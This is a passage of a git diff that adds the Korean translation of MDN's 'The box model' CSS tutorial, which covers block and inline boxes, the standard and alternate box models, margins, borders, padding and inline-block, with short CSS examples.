+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">배경 및 테두리</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">다른 텍스트 방향 처리</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">콘텐츠 overflow</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units">값 과 단위</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS 에서 항목 크기 조정</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Images_media_form_elements">이미지, 미디어 및 양식 요소</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Styling_tables">표 스타일링</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS 디버깅</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing">CSS 정리</a></li>
+</ol>
diff --git a/files/ko/learn/css/building_blocks/상자_모델/index.html b/files/ko/learn/css/building_blocks/상자_모델/index.html
new file mode 100644
index 0000000000..aafc0a5241
--- /dev/null
+++ b/files/ko/learn/css/building_blocks/상자_모델/index.html
@@ -0,0 +1,347 @@
+---
+title: 상자 모델
+slug: Learn/CSS/Building_blocks/상자_모델
+tags:
+  - 디스플레이
+  - 상자 모델
+  - 씨에스에스
+  - 여백
+  - 초보자
+  - 테두리
+  - 패딩
+  - 학습
+translation_of: Learn/CSS/Building_blocks/The_box_model
+---
+<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks")}}</div>
+
+<p>씨에스에스에 포함되는 모든 요소의 외장은 상자이며, 이 상자를 이해하는 것은 씨에스에스 조판을 생성하거나, 항목을 다른 항목과 대비해 정렬 능력을 갖추게 해주는 열쇠입니다. 이번 단원에서 우리는 씨에스에스 <em>상자 모델</em>을 제대로 살펴보겠습니다. 상자의 작동 방식과 상자와 관련된 용어를 이해함으로써 더 복잡한 조판 작업으로 넘어갈 수 있도록합니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선결 사항:</th>
+   <td>기본 컴퓨터 활용 능력<a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">기본 소프트웨어 설치</a>, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">파일 작업에 대한 기본 지식</a>, 에이치티엠엘 기본기 (<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">에이치티엠엘</a> 학습), 씨에스에스 작동 방식에 대한 개념 (<a href="/en-US/docs/Learn/CSS/First_steps">씨에스에스 첫 단계</a> 학습.) 등에 대한 기본 지식</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>씨에스에스 상자 모델, 상자 모델을 구성하고 대체 모델로 전환하는 방법에 대해 학습합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="블록_및_인라인_상자">블록 및 인라인 상자</h2>
+
+<p>씨에스에스에는 크게 두 가지 상자(<strong>블록 상자</strong>와 <strong>인라인 상자</strong>) 유형이 있습니다. 이러한 특성은 상자가 페이지 대열 측면 및 페이지의 다른 상자와 관련하여 상자의 작동 방식을 나타냅니다.</p>
+
+<p>상자가 블록으로 정의되면 다음과 같은 방식으로 동작합니다:</p>
+
+<ul>
+ <li>상자는 인라인 방향으로 연장되어 상위 콘테이너에서 사용 가능한 공간을 채웁니다. 대부분은 경우 이것은 상자가 사용 가능한 공간을 100%로 채우면서 상위 콘테이너 너비만큼 된다는 의미입니다.</li>
+ <li>상자는 새 줄로 행갈이를 합니다.</li>
+ <li>{{cssxref("width")}}와 {{cssxref("height")}} 속성은 존중됩니다.</li>
+ <li>패딩과 여백, 테두리로 인해 다른 요소들이 상자로부터 밀려납니다.</li>
+</ul>
+
+<p>여러분이 디스플레이 유형은 인라인으로 변경하지 않는 한 머리글(<code>&lt;h1&gt;</code>)과 <code>&lt;p&gt;</code>)와 같은 요소는 모두 기본값으로 외부 디스플레이 유형을 <code>block</code> 사용합니다.</p>
+
+<p>상자의 외부 디스플레이 유형이 <code>inline</code>일 경우:</p>
+
+<ul>
+ <li>상자는 새 줄로 행갈이를 하지 않습니다.</li>
+ <li>{{cssxref("width")}}와 {{cssxref("height")}} 속성은 적용되지 않습니다.</li>
+ <li>패딩과 여백, 테두리는 다른 인라인 상자들이 당 상자로부터 멀어지지게 하지 않습니다.</li>
+</ul>
+
+<p>링크용 <code>&lt;a&gt;</code> 요소와 <code>&lt;span&gt;</code>, <code>&lt;em&gt;</code> 및 <code>&lt;strong&gt;</code> 요소는 모두 기본적으로 인라인으로 표시됩니다.</p>
+
+<p>요소에 적용되는 상자 유형은 <code>block</code> 및 <code>inline</code>과 같은 {{cssxref("display")}} 속성 값으로 정의되며. 아울러 그것은 <code>display</code>의 <strong>outer</strong> 값과 관련이 있습니다.</p>
+
+<h2 id="구분_내부_및_외부_디스플레이_유형">구분: 내부 및 외부 디스플레이 유형</h2>
+
+<p>이 시점에 우리는 <strong>내부</strong> 및 <strong>외부</strong> 디스플레이 유형에 대해 설명하는 게 좋겠습니다. 위에서 언급했듯이 씨에스에스의 상자는 <em>외부</em> 디스플레이 유형을 가지며, 이는 상자가 블록인지 인라인인지를 자세히 설명합니다.</p>
+
+<p>그러나 상자에는 <em>내부</em> 디스플레이 유형도 있으며 당 상자 내부의 요소가 배치되는 방법을 나타냅니다. 기본적으로 상자 내부의 요소는 <strong><a href="/en-US/docs/Learn/CSS/CSS_layout/Normal_Flow">일반 대열</a></strong>로 배치되며, 이는 (위에서 설명한 바와 같이) 여타 블록 및 인라인 요소와 마찬가지로 작동한다는 것을 의미합니다.</p>
+
+<p>그러나 여러분은 <code>flex</code>과 같은 <code>display</code> 값을 사용하여 내부 디스플레이 유형을 변경할 수 있습니다. 어떤 요소에 우리가 <code>display: flex;</code>를 설정하면 외부 디스플레이 유형은 블록이지만 내부 디스플레이 유형은 <ruby><code>flex</code><rp> (</rp><rt>가변</rt><rp>) </rp></ruby>으로 변경됩니다. 이 상자의 직계 자식은 가변 항목이 되고, 나중에 익히게 될 <a href="/ko/docs/Learn/CSS/CSS_layout/Flexbox">가변상자</a> 규격에 명시된 규칙에 따라 배치됩니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 디스플레이 속성 값 및 상자가 블록 및 인라인 조판에서 작동하는 방법에 대해 자세히 보려면 <a href="/ko/docs/Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow">블록 및 인라인 조판</a>에 대한 모질라 개발자 네트워크 가이드를 참조하십시오.</p>
+</div>
+
+<p>씨에스에스 조판에 대해 자세한 내용을 배우려면 다음번에는 예로 <code>flex</code>나 <code><a href="/ko/docs/Learn/CSS/CSS_layout/Grids">grid</a></code>같은 상자가 취할 수 있는 그 밖의 다양한 내부 속성 값을 마주치게 될 겁니다.</p>
+
+<p>그러나 블록 및 인라인 조판이 웹상에 사물이 행동하는 기본값입니다. 앞서 언급했듯이 그럴 일컬어 <ruby><em>normal flow</em><rp> (</rp><rt>일반 대열</rt><rp>) </rp></ruby>이라고 합니다. 그렇게 부르는 까닭은 다른 지시 사항이 없으면 상자는 블록 또는 인라인 상자로 배치되기 때문입니다.</p>
+
+<h2 id="서로_다른_디스플레이_유형의_예">서로 다른 디스플레이 유형의 예</h2>
+
+<p>계속해서 몇 가지 예를 살펴보겠습니다. 아래에 우리는 세 개의 서로 다른 에이치티엠엘 요소가 있으며, 모두 외부 디스플레이 유형이 <code>block</code>입니다. 첫 번째 단락은 씨에스에스에 테두리가 추가된 단락입니다. 브라우저는 이걸 블록 상자로 렌더링하므로 단락은 새 줄에서 시작되며 확보된 너비 전체까지 확장할 겁니다.</p>
+
+<p>두 번째는 <code>display: flex</code> 사용해 배치된 목록입니다. 이 예제는 컨테이너 내부의 항목에 대해 가변 조판을 수립하지만, 목록 자체는 블록 상자이며 단락과 같이 전체 컨테이너 너비로 확장되어 새 줄로 행갈이를 합니다.</p>
+
+<p>바로 아래에 우리는 블록 수준 단락을 하나 갖고 있으며 그 안에 두 개의 <code>&lt;span&gt;</code> 요소가 있습니다. 이들 요소는 보통 <code>inline</code>이겠지만, 그 중 하나에 블록 클래스에 있습니다. 우리가 그걸 미리 <code>display: block</code>로 설정했으니까요.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/box-model/block.html", '100%', 1000)}}</p>
+
+<p>우리는 다음 예제에서 <code>inline</code> 요소가 어떻게 동작하는지 볼 수 있습니다. 첫 번째 단락에서 <code>&lt;span&gt;</code>는 기본값으로 인라인으므로 새 줄 행갈이를 강제하지 않습니다.</p>
+
+<p><code>display: inline-flex</code>로 설정된 <code>&lt;ul&gt;</code> 요소도 갖고 있는데, 이는 몇 가지 가변 항목 주변에 인라인 상자를 생성합니다.</p>
+
+<p>마지막으로 <code>display: inline</code>으로 설정된 두 단락이 있습니다. 인라인 가변 컨테이너와 단락은 모두 하나의 라인에서 하나로 진행하지 블록 수준 요소처럼 표시하기 위해 새 줄로 행갈이를 하지 않습니다.</p>
+
+<p><strong>예제에서 여러분은 <code>display: inline</code> 부분을 <code>display: block</code>으로, 또는 <code>display: inline-flex</code>를 <code>display: flex</code>로 디스플레이 모드 사이를 전환할 수 있습니다.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/box-model/inline.html", '100%', 1000)}}</p>
+
+<p>나중에 해당 단원에서 가변 조판과 같은 것들을 접하게 될 것입니다. 당장 기억해야 할 핵심은 <code>display</code> 속성 값을 변경하면 상자의 외부 디스플레이 유형이 블록인지 인라인인지를 변경하여, 조판 속 다른 요소 주위에 자신을 표시하는 방법이 달라진다는 것입니다.</p>
+
+<p>나머지 수업에서는 외부 디스플레이 유형에 집중할 것이다.</p>
+
+<h2 id="씨에스에스_박스_모델이란_무엇인가">씨에스에스 박스 모델이란 무엇인가?</h2>
+
+<p>전체 씨에스에스 상자 모델은 블록 상자에 적용되며, 인라인 상자는 상자 모델에 정의된 일부 동작만 사용합니다. 이 모델은 당신이 페이지에서 볼 수 있는 상자를 생성하기 위해 상자의 서로 다른 부분인 여백, 테두리, 패딩 및 콘텐츠등이 어떻게 함께 작동할 것인지를 정의합니다. 몇 가지 복잡성을 추가하기 위해 표준 및 대체 상자 모델이 있습니다.</p>
+
+<h3 id="상자의_구성">상자의 구성</h3>
+
+<p>씨에스에스 블록 상자 구성하기 위한 우리의 준비물은:</p>
+
+<ul>
+ <li><strong>콘텐츠 상자</strong>: 당신의 콘텐츠가 표시되는 영역으로 그 크기는 {{cssxref("width")}} and {{cssxref("height")}}와 같은 속성을 사용해서 정할 수 있습니다.</li>
+ <li><strong>패딩 상자</strong>: 패딩은 콘텐츠 주변을 마치 공백처럼 자리잡습니다. 패딩의 크기는 {{cssxref("padding")}}와 관련 속성을 사용해 제어할 수 있습니다.</li>
+ <li><strong>테두리 상자</strong>: 테두리 상자는 콘텐츠와 패딩까지 둘러쌉니다. 테두리의 크기와 스타일은 {{cssxref("border")}}와 관련 속성을 사용하여 제어할 수 있습니다.</li>
+ <li><strong>여백 상자</strong>: 여백은 가장 바깥 쪽 레이어로 콘텐츠와 패딩, 테두리를 둘러싸면서 당 상자와 다른 요소 사이 공백 역할을 합니다. 여백 상자의 크기는 {{cssxref("margin")}}와 관련 속성을 사용하여 제어될 수 있습니다.</li>
+</ul>
+
+<p>아래 도표는 이들 레이어를 보여줍니다.</p>
+
+<p><img alt="Diagram of the box model" src="https://mdn.mozillademos.org/files/16558/box-model.png" style="height: 300px; width: 544px;"></p>
+
+<h3 id="표준_씨에스에스_상자_모델">표준 씨에스에스 상자 모델</h3>
+
+<p>표준 상자 모델에서 상자에서 <code>width</code>와 <code>height</code>를 부여하면 <em>content box</em>의 너비와 높이가 정의됩니다. 그런 다음 패딩과 테두리는 상자의 너비와 높이에 추가되여 상자가 점유하는 전체 크기가 정해집니다. 그 내용이 아래 이미지에서 제시되었습니다.</p>
+
+<p>우리는 상자의 <code>width</code>와 <code>height</code>, <code>margin</code>과 <code>border</code> 및 <code>padding</code> 씨에스에스 값이 다음과 같이 지정되어 있다고 간주합니다:</p>
+
+<pre class="brush: css">.box {
+  width: 350px;
+  height: 150px;
+  margin: 25px;
+  padding: 25px;
+  border: 5px solid black;
+}
+</pre>
+
+<p>표준 박스 모델을 사용하여 상자가 차지하는 공간은 실제로 너비 410px(350 + 25 + 25 + 5 + 5), 높이 210px(150 + 25 + 25 + 5 + 5)가 될 것인데, 양쪽 패딩과 테두리는 콘텐츠 상자에 사용되는 너비에 더해지기 때문입니다.</p>
+
+<p><img alt="Showing the size of the box when the standard box model is being used." src="https://mdn.mozillademos.org/files/16559/standard-box-model.png" style="height: 300px; width: 500px;"></p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 여백은 상자의 실제 크기에 포함되지 않습니다. 물론 여백은 상자가 페이지에서 차지하는 총 공간에 영향을 미치지만, 상자의 외부 공간에만 영향을 미칩니다. 상자의 영역은 테두리에서 멈추게 됩니다. 여백으로 확장되지 않습니다.</p>
+</div>
+
+<h3 id="대체_씨에스에스_상자_모델">대체 씨에스에스 상자 모델</h3>
+
+<p>상자의 실제 크기를 얻기 위해 테두리와 패딩을 추가하는 것이 다소 불편하다고 생각할 수 있습니다. 당신 말이 옳을 것입니다! 이러한 이유로 씨에스에스는 표준 상자 모델 이후 머지않아 대체 상자 모델이 도입되었습니다. 이 모델을 사용한다면 너비는 페이지에서 표시되는 상자 너비이므로 콘텐츠 영역 너비는 너비에서 패딩 및 테두리 너비를 뺀 너비입니다. 위에서 사용된 것과 동일한 씨에스에스를 아래 결과에 대입하면(폭 = 350px, 높이 = 150px)가 됩니다.</p>
+
+<p><img alt="Showing the size of the box when the alternate box model is being used." src="https://mdn.mozillademos.org/files/16557/alternate-box-model.png" style="height: 240px; width: 440px;"></p>
+
+<p>기본값으로 브라우저는 기본 상자 모델을 사용합니다. 요소에 대체 모델을 활성화하려면 거기에 <code>box-sizing: border-box</code>를 설정하여 그렇게 할 수 있습니다. 이렇게 하면 당신이 설정한 크기에 따라 정의된 영역만큼 테두리 상자가 점유하도록 브라우저에 전달할 수 있습니다.</p>
+
+<pre class="brush: css"><code>.box {
+  box-sizing: border-box;
+} </code></pre>
+
+<p>모든 요소가 대체 상자 모델을 사용하길 원한다면, (그것이 개발자들의 흔한 선택이기도 합니다) <code>&lt;html&gt;</code> 요소에 <code>box-sizing</code> 속성을 설정한 다음 아래의 소예제에서 볼 수 있듯이 다른 모든 요소가 해당 값을 상속하도록 설정하십시요. 이런 내용의 뒷배경이 되는 생각을 이해하고 싶다면 <a href="https://css-tricks.com/inheriting-box-sizing-probably-slightly-better-best-practice/">상자 크기에 관한 씨에스에스 요령</a> 문서를 참조하십시오.</p>
+
+<pre class="brush: css"><code class="language-css"><span class="selector token">html</span> <span class="punctuation token">{</span>
+  <span class="property token">box-sizing</span><span class="punctuation token">:</span> border-box<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+<span class="selector token">*, *<span class="pseudo-element token">::before</span>, *<span class="pseudo-element token">::after</span></span> <span class="punctuation token">{</span>
+  <span class="property token">box-sizing</span><span class="punctuation token">:</span> inherit<span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 흥미로운 기록이 있습니다. 인터넷 익스플로러는 기본적으로 대체 상자 모델로 사용되었으며 전환할 수있는 메커니즘이 없습니다.</p>
+</div>
+
+<h2 id="상자_모델_부리기">상자 모델 부리기</h2>
+
+<p>아래 예제에서 당신은 상자 2개를 확인할 수 있습니다. 둘 다 <code>.box</code> 클래스에 해당하며 <code>width</code>, <code>height</code>, <code>margin</code>, <code>border</code>, <code>padding</code>에 대해 동일한 값이 주어졌습니다. 유일한 차이라면 두 번째 상자는 대체 상자 모델을 사용하도록 설정되었다는 겁니다.</p>
+
+<p><strong>당신은 (<code>.alternate</code> 클래스를 씨에스에스에 추가해) 두 번째 상자 크기를 변경해 첫 번째 상자의 너비와 높이와 일치하도록 할 수 있습니까?</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/box-model/box-models.html", '100%', 1000)}}</p>
+
+<div class="blockIndicator note">
+<p><strong>참조</strong>: <a href="https://github.com/mdn/css-examples/blob/master/learn/solutions.md#the-box-model">여러분은 이곳에서 동 질문에 대한 답변을 확인할 수 있습니다.</a>.</p>
+</div>
+
+<h3 id="브라우저_개발자도구를_사용해_상자_모델_보기">브라우저 개발자도구를 사용해 상자 모델 보기</h3>
+
+<p><a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">브라우저 개발자 도구</a>를 사용하면 상자 모델을 훨씬 쉽게 이해할 수 있습니다. 파이어폭스의 개발자 도구에서 요소를 검사하면 요소의 크기와 여백, 패딩 및 테두리를 볼 수 있습니다. 이 방법으로 요소를 검사하면 실제로 그것이 당신이 생각하는 크기인지를 알아낼 수 있어 좋은 방법입니다.</p>
+
+<p><img alt="Inspecting the box model of an element using Firefox DevTools" src="https://mdn.mozillademos.org/files/16560/box-model-devtools.png" style="height: 683px; width: 1150px;"></p>
+
+<h2 id="여백과_패딩과_테두리">여백과 패딩과 테두리</h2>
+
+<p>상술한 예제에서 여러분은 이미 {{cssxref("margin")}}과 {{cssxref("padding")}}, 그리고 {{cssxref("border")}}를 보았습니다. 이번 예제에서 사용된 속성은 <ruby><strong>약칭</strong><rp>(</rp><rt>shorthands</rt><rp>)</rp></ruby>으로 한꺼번에 상자의 사방면을 설정할 수 있게 해줍니다. 해당 약칭은 또한 동명의 정식 명칭 속성도 있어 상자의 사방면을 개별적으로 제어할 수 있도록 해줍니다.</p>
+
+<p>해당 속성에 대한 자세한 내용을 탐구해 봅시다.</p>
+
+<h3 id="여백">여백</h3>
+
+<p>여백은 상자 주변에 보이지 않는 공간입니다. 여백은 상자로부터 다른 요소를 밀어냅니다. 여백은 양수값 또는 음수값을 가질 수 있습니다. 상자 한쪽 측면에 음수값 여백을 설정하면 페이지의 다른 부분과 공백이 겹칠 수 있습니다. 여러분이 표준 또는 대체 상자 모델을 사용하든지 관계없이 표시되는 상자의 크기를 계산한 후에 항상 여백이 추가됩니다.</p>
+
+<p>우리는 {{cssxref("margin")}} 속성을 사용하여 요소의 사방 여백을 한번에 제어할 수 있으며, 마찬가지로 동명의 정식 명칭 속성을 사용하며 각변의 여백을 제어할 수 있습니다.</p>
+
+<ul>
+ <li>{{cssxref("margin-top")}}</li>
+ <li>{{cssxref("margin-right")}}</li>
+ <li>{{cssxref("margin-bottom")}}</li>
+ <li>{{cssxref("margin-left")}}</li>
+</ul>
+
+<p><strong>아래 예제에서 여백 값을 변경하여 당 요소와 상위 컨테이너 요소 사이의 여백 생성 또는 공간 제거(음의 여백인 경우)로 인해 상자가 어떻게 밀려나는지 확인하십시오.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/box-model/margin.html", '100%', 1000)}}</p>
+
+<h4 id="여백_축소">여백 축소</h4>
+
+<p>여백 이해의 핵심은 여백 축소에 대한 개념입니다. 여백이 서로 맞닿은 두 개의 요소가 있으면 해당 여백은 합쳐져 하나의 여백이 됩니다. 그 중 가장 큰 여백의 크기가 됩니다.</p>
+
+<p>아래 예제에는 단락 두 개가 있습니다. 상위 단락은 <code>margin-bottom</code> 값이 50픽셀이 주어졌습니다. 두 번째 단락은 <code>margin-top</code> 값이 30픽셀이 주어졌습니다. 전체 여백은 합쳐져 축소되면서 실제 상자 사이 여백은 50픽셀이며, 두 가지 여백을 합계가 되지 않습니다.</p>
+
+<p><strong>여러분은 2번째 단락의 <code>margin-top</code> 값을 0으로 설정해 이를 시험해 볼 수 있습니다. 두 단락 사이 표시되는 여백은 변경되지 않을 것이며, 첫 번째 단락의 <code>bottom-margin</code>에 설정된 50픽셀은 유지됩니다.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/box-model/margin-collapse.html", '100%', 1000)}}</p>
+
+<p>여백이 축소될 때와 축소되지 않을 때를 말해주는 여러 가지 규칙이 있습니다. 자세한 내용은 <a href="/en-US/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">여백 축소 정복</a>에 대한 자세한 페이지를 참조하십시오. 당장 기억해야 할 주안점은 마진 축소란 것이 벌어지고 있다는 점이다. 여백이 있는 공간을 생성하고도 여러분이 기대하는 만큼의 공간을 얻지 못한다면, 아마도 그것은 여백 축소 현상일 것입니다.</p>
+
+<h3 id="테두리">테두리</h3>
+
+<p>테두리는 상자의 여백과 패딩 사이에 그려집니다. 표준 상자 모델을 사용하는 경우 테두리의 크기가 상자의 <code>width</code>과 <code>height</code>에 추가됩니다. 대체 상자 모델을 사용하고 있는 경우, 테두리의 크기는 사용 가능한 <code>width</code>와 <code>height</code>의 일부를 점유함으로 콘텐츠 상자가 더 작아지게 됩니다.</p>
+
+<p>테두리를 스타일링의 경우 많은 속성이 있습니다. 4개의 테두리, 각 테두리에는 스타일, 너비 및 색상 등 당신이 변경하고 싶을만한 것들이 있습니다.</p>
+
+<p>당산은 당장에 {{cssxref("border")}} 속성을 사용해 4개의 테두리 스타일과 너비, 색상을 지정할 수 있습니다.</p>
+
+<p>테두리 사방면에 각각 너비와 색상, 스타일을 설정할 수 있습니다:</p>
+
+<ul>
+ <li>{{cssxref("border-top")}}</li>
+ <li>{{cssxref("border-right")}}</li>
+ <li>{{cssxref("border-bottom")}}</li>
+ <li>{{cssxref("border-left")}}</li>
+</ul>
+
+<p>테두리 사방면에 색상, 스타일, 너비를 설정하려면 다음과 같이 사용하십시요:</p>
+
+<ul>
+ <li>{{cssxref("border-width")}}</li>
+ <li>{{cssxref("border-style")}}</li>
+ <li>{{cssxref("border-color")}}</li>
+</ul>
+
+<p>테두리 일방 면만 색상과 스타일, 너비를 설정하려면 세분화된 정식명칙 속성 중의 하나를 사용할 수 있습니다.</p>
+
+<ul>
+ <li>{{cssxref("border-top-width")}}</li>
+ <li>{{cssxref("border-top-style")}}</li>
+ <li>{{cssxref("border-top-color")}}</li>
+ <li>{{cssxref("border-right-width")}}</li>
+ <li>{{cssxref("border-right-style")}}</li>
+ <li>{{cssxref("border-right-color")}}</li>
+ <li>{{cssxref("border-bottom-width")}}</li>
+ <li>{{cssxref("border-bottom-style")}}</li>
+ <li>{{cssxref("border-bottom-color")}}</li>
+ <li>{{cssxref("border-left-width")}}</li>
+ <li>{{cssxref("border-left-style")}}</li>
+ <li>{{cssxref("border-left-color")}}</li>
+</ul>
+
+<p><strong>아래 예제에서 테두리를 생성하기 위해 다양한 약칭과 정식 명칭을 사용했습니다. 그것들의 작동 방식을 파악하기 위해 서로 다른 속성을 마음대로 부려보십시요. 테두리 속성에 대한 모질라 개발자 네트워크 페이지 페이지는 당신이 선택할 수 있는 다양한 테두리 스타일에 대한 정보를 제공합니다.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/box-model/border.html", '100%', 1000)}}</p>
+
+<h3 id="패딩">패딩</h3>
+
+<p>패딩은 테두리와 콘텐츠 영역 사이에 위치합니다. 여백과는 다르게 패딩은 음수의 크기를 가질 수 없어, 그 값은 0 또는 양수 값이여야 합니다. 여러분의 요소에 적용된 배경은 패딩 뒤에 표시됩니다.패딩의 전형적인 용도는 테두리에서 콘텐츠를 밀어내는 겁니다.</p>
+
+<p>우리는 {{cssxref("padding")}} 속성을 사용하여 요소의 사방면 패딩을 개별적으로 제어할 수 있으며, 마찬가지로 정식 명칭 속성을 사용하며 각변의 패딩을 제어할 수 있습니다.</p>
+
+<ul>
+ <li>{{cssxref("padding-top")}}</li>
+ <li>{{cssxref("padding-right")}}</li>
+ <li>{{cssxref("padding-bottom")}}</li>
+ <li>{{cssxref("padding-left")}}</li>
+</ul>
+
+<p><strong>아래 예제에서 <code>.box</code>클래스에 대한 패딩값을 변경하면 상자와 관계하여 텍스트가 시작되는 지점이 달라지는지 볼 수 있습니다.</strong></p>
+
+<p><strong>여러분은 또한 <code>.container,</code> 클래스에 대한 패딩을 변경하여 컨테이너와 상자 사이 공간을 만들 수 있습니다. 패딩 변경은 모든 요소에 가능하며 테두리와 요소 내부 공간 사이에 공간을 만듭니다.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/box-model/padding.html", '100%', 800)}}</p>
+
+<h2 id="상자_모델과_인라인_상자">상자 모델과 인라인 상자</h2>
+
+<p>상술한 모든 내용은 블록 상자에도 100% 적용됩니다. 상술한 속성 중의 일부는 인라인 상자에도 적용할 수 있습니다. 예를 들어 <code>&lt;span&gt;</code>에 의해 생성된 속성도 그렇습니다.</p>
+
+<p>아래 예제에 한 단락 내부에 <code>&lt;span&gt;</code>가 있고 거기에 <code>width</code>와 <code>height</code>, 그리고 <code>margin</code>와 <code>border</code>를 적용했습니다. 여러분이 보시다시피 너비와 높이는 무시됩니다. 여백, 패딩 및 테두리는 존치되지만 다른 콘텐츠와 인라인 상자아의 관계를 변경하지 않으므로 패딩 및 테두리는 단락의 다른 단어와 겹칩니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/box-model/inline-box-model.html", '100%', 800)}}</p>
+
+<h2 id="인라인_블록_디스플레이_사용하기">인라인 블록 디스플레이 사용하기</h2>
+
+<p><code>inline</code>와 <code>block</code> 사이 중립 지대를 제공하는 <code>display</code> 속성의 하나로 특별한 값이 있습니다. 이 속성은 항목이 새 줄로 넘어가는 행갈이를 원치않지만, <code>width</code>와 <code>height</code>가 존중되고 앞서 보았듯이 겹침 현상을 피하길 원하는 경우에 유용합니다.</p>
+
+<p><code>display: inline-block</code> 속성이 딸린 요소는 우리가 이미 파악했던 것 블록 요소의 하위 집합입니다.</p>
+
+<ul>
+ <li><code>width</code>와 <code>height</code> 속성은 존중됩니다.</li>
+ <li><code>padding</code>와 <code>margin</code>과 <code>border</code> 속성으로 인해 다른 요소가 상자에서 밀려납니다.</li>
+</ul>
+
+<p>그러나 새 줄로 행갈이를 하지 않고, <code>width</code>와 <code>height</code> 속성을 명시적으로 추가하는 경우에만 해당 요소의 콘텐츠보다 (동 상자가) 더 커질 뿐입니다.</p>
+
+<p><strong>다음 예제에서 우리는 <code>&lt;span&gt;</code> 요소에 <code>display: inline-block</code>를 추가했습니다. 스팬 요소 속성을 <code>display: block</code>로 변경하던가 추가했던 라인을 제거한 뒤 디스플레이 모델의 차이를 확인해 보십시요.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/box-model/inline-block.html", '100%', 800)}}</p>
+
+<p>여러분이 <code>padding</code>를 추가해 링크에 적중 영역을 확대하길 원하는 경우 이것이 유용할 수 있습니다. <code>&lt;a&gt;</code>는 <code>&lt;span&gt;</code>처럼 인라인 요소입니다. 여러분은 해당 요소에 <code>display: inline-block</code>을 사용해 패딩을 설정할 수 있으므로 사용자가 링크를 클릭할 수 있습니다.</p>
+
+<p>탐색 (메뉴)모음에서 꽤 자주 사용되는 것을 볼겁니다. 아래 탐색 모음은 가변상자를 사용해 행으로 표시되었으며, <code>&lt;a&gt;</code>를 마우스로 가리킬 때 <code>background-color</code>를 변경할 수 있도록 <code>&lt;a&gt;</code> 요소에 패딩 추기했습니다. 패딩은 <code>&lt;ul&gt;</code> 요소의 테두리와 겹치는 것처럼 보입니다. 그렇게 된 까닭은 <code>&lt;a&gt;</code>가 인라인 요소이기 때문입니다.</p>
+
+<p><strong><code>.links-list a</code> 선택기에 딸린 규칙에 <code>display: inline-block</code>를 추가하면, 다른 요소에 의한 패딩이 존중되므로 여러분은 이(겹치는) 문제가 해결되는 것을 보게될 것입니다.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/box-model/inline-block-nav.html", '100%', 600)}}</p>
+
+<h2 id="요약정리">요약정리</h2>
+
+<p>박스 모델에 대해 이해해야 할 내용의 대부분입니다. 상자들이 조판에 어떻게 포함된 것인지 혼란스러워지면, 향후 여러분은 이번 단원을 다시 찾게을 수 있습니다.</p>
+
+<p>다음 단원에서는 <a href="/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">배경과 테두리</a>를 사용하여 평범한 보이는 상자를 더욱 흥미롭게 보이려면 어떤 방법이 있는지 살펴보겠습니다.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks")}}</p>
+
+<h2 id="이번_단위에는">이번 단위에는</h2>
+
+<ol>
+ <li><a href="/ko/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">계단식 나열과 상속</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">씨에스에스 선택기</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">유형과 클레스, 아이디 선택기 selectors</a></li>
+   <li><a href="/ko/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">딸린 속성 선택기</a></li>
+   <li><a href="/ko/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">의사 클래스와 의사 요소</a></li>
+   <li><a href="/ko/docs/Learn/CSS/Building_blocks/Selectors/Combinators">조합기</a></li>
+  </ul>
+ </li>
+ <li><a href="/ko/docs/Learn/CSS/Building_blocks/%EC%83%81%EC%9E%90_%EB%AA%A8%EB%8D%B8">상자 모델</a></li>
+ <li><a href="/ko/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">배경 및 테두리</a></li>
